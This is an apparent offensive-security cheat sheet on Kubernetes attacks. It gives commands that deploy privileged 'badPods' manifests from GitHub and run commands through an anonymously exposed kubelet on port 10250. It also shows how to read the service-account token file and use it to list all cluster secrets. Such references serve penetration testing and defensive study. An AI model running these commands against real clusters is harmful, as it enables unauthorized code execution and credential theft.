67 lines
3.6 KiB
Markdown
67 lines
3.6 KiB
Markdown
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# Container - Kubernetes
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> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications
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## Summary
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- [Tools](#tools)
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- [Exploits](#exploits)
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- [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp)
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- [Obtaining Service Account Token](#obtaining-service-account-token)
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- [References](#references)
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## Tools
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* [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges.
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```ps1
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
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kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
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```
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* [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication
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* [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph
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```ps1
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# Critical paths enumeration
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kh.containers().criticalPaths().count()
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kh.containers().dedup().by("name").criticalPaths().count()
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kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count()
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kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count()
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kh.endpoints(EndpointExposure.External).criticalPaths().count()
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kh.services().criticalPaths().count()
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# DNS services and port
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kh.endpoints(EndpointExposure.External).criticalPaths().limit(local,1)
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.dedup().valueMap("serviceDns","port")
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.group().by("serviceDns").by("port")
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```
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## Exploits
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### Accessible kubelet on 10250/TCP
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Requirements:
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* `--anonymous-auth`: Enables anonymous requests to the Kubelet server
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* Getting pods: `curl -ks https://worker:10250/pods`
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* Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'`
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### Obtaining Service Account Token
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Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token`
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Use the service account token:
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* on `kube-apiserver` API: `curl -ks -H "Authorization: Bearer <TOKEN>" https://master:6443/api/v1/namespaces/{namespace}/secrets`
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* with kubectl: ` kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="<TOKEN>" get secrets --all-namespaces -o json`
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## References
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* [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet)
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* [kubehound - Attack Reference](https://kubehound.io/reference/attacks/)
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* [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/)
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